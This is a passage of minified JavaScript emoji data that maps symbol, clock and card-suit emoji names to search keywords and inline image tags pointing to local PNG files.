src="23e9.png"/>',fitzpatrick_scale:!1,category:"symbols"},rewind:{keywords:["play","blue-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23ea" src="23ea.png"/>',fitzpatrick_scale:!1,category:"symbols"},twisted_rightwards_arrows:{keywords:["blue-square","shuffle","music","random"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd00" src="1f500.png"/>',fitzpatrick_scale:!1,category:"symbols"},repeat:{keywords:["loop","record"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd01" src="1f501.png"/>',fitzpatrick_scale:!1,category:"symbols"},repeat_one:{keywords:["blue-square","loop"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd02" src="1f502.png"/>',fitzpatrick_scale:!1,category:"symbols"},arrow_backward:{keywords:["blue-square","left","direction"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u25c0\ufe0f" src="25c0.png"/>',fitzpatrick_scale:!1,category:"symbols"},arrow_up_small:{keywords:["blue-square","triangle","direction","point","forward","top"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd3c" src="1f53c.png"/>',fitzpatrick_scale:!1,category:"symbols"},arrow_down_small:{keywords:["blue-square","direction","bottom"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd3d" src="1f53d.png"/>',fitzpatrick_scale:!1,category:"symbols"},arrow_double_up:{keywords:["blue-square","direction","top"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23eb" src="23eb.png"/>',fitzpatrick_scale:!1,category:"symbols"},arrow_double_down:{keywords:["blue-square","direction","bottom"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23ec" src="23ec.png"/>',fitzpatrick_scale:!1,category:"symbols"},arrow_right:{keywords:["blue-square","next"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u27a1\ufe0f" src="27a1.png"/>',fitzpatrick_scale:!1,category:"symbols"},arrow_left:{keywords:["blue-square","previous","back"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2b05\ufe0f" src="2b05.png"/>',fitzpatrick_scale:!1,category:"symbols"},arrow_up:{keywords:["blue-square","continue","top","direction"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2b06\ufe0f" src="2b06.png"/>',fitzpatrick_scale:!1,category:"symbols"},arrow_down:{keywords:["blue-square","direction","bottom"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2b07\ufe0f" src="2b07.png"/>',fitzpatrick_scale:!1,category:"symbols"},arrow_upper_right:{keywords:["blue-square","point","direction","diagonal","northeast"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2197\ufe0f" src="2197.png"/>',fitzpatrick_scale:!1,category:"symbols"},arrow_lower_right:{keywords:["blue-square","direction","diagonal","southeast"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2198\ufe0f" src="2198.png"/>',fitzpatrick_scale:!1,category:"symbols"},arrow_lower_left:{keywords:["blue-square","direction","diagonal","southwest"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2199\ufe0f" src="2199.png"/>',fitzpatrick_scale:!1,category:"symbols"},arrow_upper_left:{keywords:["blue-square","point","direction","diagonal","northwest"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2196\ufe0f" src="2196.png"/>',fitzpatrick_scale:!1,category:"symbols"},arrow_up_down:{keywords:["blue-square","direction","way","vertical"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2195\ufe0f" src="2195.png"/>',fitzpatrick_scale:!1,category:"symbols"},left_right_arrow:{keywords:["shape","direction","horizontal","sideways"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2194\ufe0f" src="2194.png"/>',fitzpatrick_scale:!1,category:"symbols"},arrows_counterclockwise:{keywords:["blue-square","sync","cycle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd04" src="1f504.png"/>',fitzpatrick_scale:!1,category:"symbols"},arrow_right_hook:{keywords:["blue-square","return","rotate","direction"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u21aa\ufe0f" src="21aa.png"/>',fitzpatrick_scale:!1,category:"symbols"},leftwards_arrow_with_hook:{keywords:["back","return","blue-square","undo","enter"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u21a9\ufe0f" src="21a9.png"/>',fitzpatrick_scale:!1,category:"symbols"},arrow_heading_up:{keywords:["blue-square","direction","top"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2934\ufe0f" src="2934.png"/>',fitzpatrick_scale:!1,category:"symbols"},arrow_heading_down:{keywords:["blue-square","direction","bottom"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2935\ufe0f" src="2935.png"/>',fitzpatrick_scale:!1,category:"symbols"},hash:{keywords:["symbol","blue-square","twitter"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="#\ufe0f\u20e3" src="23-20e3.png"/>',fitzpatrick_scale:!1,category:"symbols"},information_source:{keywords:["blue-square","alphabet","letter"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2139\ufe0f" src="2139.png"/>',fitzpatrick_scale:!1,category:"symbols"},abc:{keywords:["blue-square","alphabet"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd24" src="1f524.png"/>',fitzpatrick_scale:!1,category:"symbols"},abcd:{keywords:["blue-square","alphabet"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd21" src="1f521.png"/>',fitzpatrick_scale:!1,category:"symbols"},capital_abcd:{keywords:["alphabet","words","blue-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd20" src="1f520.png"/>',fitzpatrick_scale:!1,category:"symbols"},symbols:{keywords:["blue-square","music","note","ampersand","percent","glyphs","characters"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd23" src="1f523.png"/>',fitzpatrick_scale:!1,category:"symbols"},musical_note:{keywords:["score","tone","sound"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfb5" src="1f3b5.png"/>',fitzpatrick_scale:!1,category:"symbols"},notes:{keywords:["music","score"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfb6" src="1f3b6.png"/>',fitzpatrick_scale:!1,category:"symbols"},wavy_dash:{keywords:["draw","line","moustache","mustache","squiggle","scribble"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u3030\ufe0f" src="3030.png"/>',fitzpatrick_scale:!1,category:"symbols"},curly_loop:{keywords:["scribble","draw","shape","squiggle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u27b0" src="27b0.png"/>',fitzpatrick_scale:!1,category:"symbols"},heavy_check_mark:{keywords:["ok","nike","answer","yes","tick"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2714\ufe0f" src="2714.png"/>',fitzpatrick_scale:!1,category:"symbols"},arrows_clockwise:{keywords:["sync","cycle","round","repeat"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd03" src="1f503.png"/>',fitzpatrick_scale:!1,category:"symbols"},heavy_plus_sign:{keywords:["math","calculation","addition","more","increase"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2795" src="2795.png"/>',fitzpatrick_scale:!1,category:"symbols"},heavy_minus_sign:{keywords:["math","calculation","subtract","less"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2796" src="2796.png"/>',fitzpatrick_scale:!1,category:"symbols"},heavy_division_sign:{keywords:["divide","math","calculation"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2797" src="2797.png"/>',fitzpatrick_scale:!1,category:"symbols"},heavy_multiplication_x:{keywords:["math","calculation"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2716\ufe0f" src="2716.png"/>',fitzpatrick_scale:!1,category:"symbols"},infinity:{keywords:["forever"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u267e" src="267e.png"/>',fitzpatrick_scale:!1,category:"symbols"},heavy_dollar_sign:{keywords:["money","sales","payment","currency","buck"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcb2" src="1f4b2.png"/>',fitzpatrick_scale:!1,category:"symbols"},currency_exchange:{keywords:["money","sales","dollar","travel"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcb1" src="1f4b1.png"/>',fitzpatrick_scale:!1,category:"symbols"},copyright:{keywords:["ip","license","circle","law","legal"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\xa9\ufe0f" src="a9.png"/>',fitzpatrick_scale:!1,category:"symbols"},registered:{keywords:["alphabet","circle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\xae\ufe0f" src="ae.png"/>',fitzpatrick_scale:!1,category:"symbols"},tm:{keywords:["trademark","brand","law","legal"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2122\ufe0f" src="2122.png"/>',fitzpatrick_scale:!1,category:"symbols"},end:{keywords:["words","arrow"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd1a" src="1f51a.png"/>',fitzpatrick_scale:!1,category:"symbols"},back:{keywords:["arrow","words","return"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd19" src="1f519.png"/>',fitzpatrick_scale:!1,category:"symbols"},on:{keywords:["arrow","words"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd1b" src="1f51b.png"/>',fitzpatrick_scale:!1,category:"symbols"},top:{keywords:["words","blue-square"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd1d" src="1f51d.png"/>',fitzpatrick_scale:!1,category:"symbols"},soon:{keywords:["arrow","words"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd1c" src="1f51c.png"/>',fitzpatrick_scale:!1,category:"symbols"},ballot_box_with_check:{keywords:["ok","agree","confirm","black-square","vote","election","yes","tick"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2611\ufe0f" src="2611.png"/>',fitzpatrick_scale:!1,category:"symbols"},radio_button:{keywords:["input","old","music","circle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd18" src="1f518.png"/>',fitzpatrick_scale:!1,category:"symbols"},white_circle:{keywords:["shape","round"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26aa" src="26aa.png"/>',fitzpatrick_scale:!1,category:"symbols"},black_circle:{keywords:["shape","button","round"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26ab" src="26ab.png"/>',fitzpatrick_scale:!1,category:"symbols"},red_circle:{keywords:["shape","error","danger"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd34" src="1f534.png"/>',fitzpatrick_scale:!1,category:"symbols"},large_blue_circle:{keywords:["shape","icon","button"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd35" src="1f535.png"/>',fitzpatrick_scale:!1,category:"symbols"},small_orange_diamond:{keywords:["shape","jewel","gem"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd38" src="1f538.png"/>',fitzpatrick_scale:!1,category:"symbols"},small_blue_diamond:{keywords:["shape","jewel","gem"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd39" src="1f539.png"/>',fitzpatrick_scale:!1,category:"symbols"},large_orange_diamond:{keywords:["shape","jewel","gem"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd36" src="1f536.png"/>',fitzpatrick_scale:!1,category:"symbols"},large_blue_diamond:{keywords:["shape","jewel","gem"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd37" src="1f537.png"/>',fitzpatrick_scale:!1,category:"symbols"},small_red_triangle:{keywords:["shape","direction","up","top"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd3a" src="1f53a.png"/>',fitzpatrick_scale:!1,category:"symbols"},black_small_square:{keywords:["shape","icon"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u25aa\ufe0f" src="25aa.png"/>',fitzpatrick_scale:!1,category:"symbols"},white_small_square:{keywords:["shape","icon"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u25ab\ufe0f" src="25ab.png"/>',fitzpatrick_scale:!1,category:"symbols"},black_large_square:{keywords:["shape","icon","button"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2b1b" src="2b1b.png"/>',fitzpatrick_scale:!1,category:"symbols"},white_large_square:{keywords:["shape","icon","stone","button"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2b1c" src="2b1c.png"/>',fitzpatrick_scale:!1,category:"symbols"},small_red_triangle_down:{keywords:["shape","direction","bottom"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd3b" src="1f53b.png"/>',fitzpatrick_scale:!1,category:"symbols"},black_medium_square:{keywords:["shape","button","icon"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u25fc\ufe0f" src="25fc.png"/>',fitzpatrick_scale:!1,category:"symbols"},white_medium_square:{keywords:["shape","stone","icon"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u25fb\ufe0f" src="25fb.png"/>',fitzpatrick_scale:!1,category:"symbols"},black_medium_small_square:{keywords:["icon","shape","button"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u25fe" src="25fe.png"/>',fitzpatrick_scale:!1,category:"symbols"},white_medium_small_square:{keywords:["shape","stone","icon","button"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u25fd" src="25fd.png"/>',fitzpatrick_scale:!1,category:"symbols"},black_square_button:{keywords:["shape","input","frame"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd32" src="1f532.png"/>',fitzpatrick_scale:!1,category:"symbols"},white_square_button:{keywords:["shape","input"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd33" src="1f533.png"/>',fitzpatrick_scale:!1,category:"symbols"},speaker:{keywords:["sound","volume","silence","broadcast"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd08" src="1f508.png"/>',fitzpatrick_scale:!1,category:"symbols"},sound:{keywords:["volume","speaker","broadcast"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd09" src="1f509.png"/>',fitzpatrick_scale:!1,category:"symbols"},loud_sound:{keywords:["volume","noise","noisy","speaker","broadcast"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd0a" src="1f50a.png"/>',fitzpatrick_scale:!1,category:"symbols"},mute:{keywords:["sound","volume","silence","quiet"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd07" src="1f507.png"/>',fitzpatrick_scale:!1,category:"symbols"},mega:{keywords:["sound","speaker","volume"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udce3" src="1f4e3.png"/>',fitzpatrick_scale:!1,category:"symbols"},loudspeaker:{keywords:["volume","sound"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udce2" src="1f4e2.png"/>',fitzpatrick_scale:!1,category:"symbols"},bell:{keywords:["sound","notification","christmas","xmas","chime"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd14" src="1f514.png"/>',fitzpatrick_scale:!1,category:"symbols"},no_bell:{keywords:["sound","volume","mute","quiet","silent"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd15" src="1f515.png"/>',fitzpatrick_scale:!1,category:"symbols"},black_joker:{keywords:["poker","cards","game","play","magic"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udccf" src="1f0cf.png"/>',fitzpatrick_scale:!1,category:"symbols"},mahjong:{keywords:["game","play","chinese","kanji"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udc04" src="1f004.png"/>',fitzpatrick_scale:!1,category:"symbols"},spades:{keywords:["poker","cards","suits","magic"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2660\ufe0f" src="2660.png"/>',fitzpatrick_scale:!1,category:"symbols"},clubs:{keywords:["poker","cards","magic","suits"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2663\ufe0f" src="2663.png"/>',fitzpatrick_scale:!1,category:"symbols"},hearts:{keywords:["poker","cards","magic","suits"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2665\ufe0f" src="2665.png"/>',fitzpatrick_scale:!1,category:"symbols"},diamonds:{keywords:["poker","cards","magic","suits"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2666\ufe0f" src="2666.png"/>',fitzpatrick_scale:!1,category:"symbols"},flower_playing_cards:{keywords:["game","sunset","red"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfb4" src="1f3b4.png"/>',fitzpatrick_scale:!1,category:"symbols"},thought_balloon:{keywords:["bubble","cloud","speech","thinking","dream"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcad" src="1f4ad.png"/>',fitzpatrick_scale:!1,category:"symbols"},right_anger_bubble:{keywords:["caption","speech","thinking","mad"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddef" src="1f5ef.png"/>',fitzpatrick_scale:!1,category:"symbols"},speech_balloon:{keywords:["bubble","words","message","talk","chatting"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcac" src="1f4ac.png"/>',fitzpatrick_scale:!1,category:"symbols"},left_speech_bubble:{keywords:["words","message","talk","chatting"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udde8" src="1f5e8.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock1:{keywords:["time","late","early","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd50" src="1f550.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock2:{keywords:["time","late","early","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd51" src="1f551.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock3:{keywords:["time","late","early","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd52" src="1f552.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock4:{keywords:["time","late","early","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd53" src="1f553.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock5:{keywords:["time","late","early","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd54" src="1f554.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock6:{keywords:["time","late","early","schedule","dawn","dusk"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd55" src="1f555.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock7:{keywords:["time","late","early","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd56" src="1f556.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock8:{keywords:["time","late","early","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd57" src="1f557.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock9:{keywords:["time","late","early","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd58" src="1f558.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock10:{keywords:["time","late","early","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd59" src="1f559.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock11:{keywords:["time","late","early","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd5a" src="1f55a.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock12:{keywords:["time","noon","midnight","midday","late","early","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd5b" src="1f55b.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock130:{keywords:["time","late","early","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd5c" src="1f55c.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock230:{keywords:["time","late","early","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd5d" src="1f55d.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock330:{keywords:["time","late","early","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd5e" src="1f55e.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock430:{keywords:["time","late","early","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd5f" src="1f55f.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock530:{keywords:["time","late","early","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd60" src="1f560.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock630:{keywords:["time","late","early","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd61" src="1f561.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock730:{keywords:["time","late","early","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd62" src="1f562.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock830:{keywords:["time","late","early","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd63" src="1f563.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock930:{keywords:["time","late","early","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd64" src="1f564.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock1030:{keywords:["time","late","early","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd65" src="1f565.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock1130:{keywords:["time","late","early","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd66" src="1f566.png"/>',fitzpatrick_scale:!1,category:"symbols"},clock1230:{keywords:["time","late","early","schedule"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd67" src="1f567.png"/>',fitzpatrick_scale:!1,category:"symbols"},afghanistan:{keywords:["af","flag","nation","country","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 